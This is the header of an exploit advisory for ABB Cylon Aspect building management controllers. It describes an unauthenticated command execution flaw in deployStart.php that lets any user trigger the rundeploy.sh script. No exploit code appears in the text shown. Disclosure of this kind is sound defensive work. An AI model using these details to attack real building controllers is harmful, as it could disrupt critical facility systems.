# Exploit Title: ABB Cylon Aspect 3.08.02 (deployStart.php) Unauthenticated Command Execution
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=3.08.02

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB Cylon Aspect BMS/BAS controller suffers from an unauthenticated
shell command execution vulnerability through the deployStart.php script.
This allows any user to trigger the execution of 'rundeploy.sh' script, which
initializes the Java deployment server that sets various configurations,
potentially causing unauthorized server initialization and performance issues.
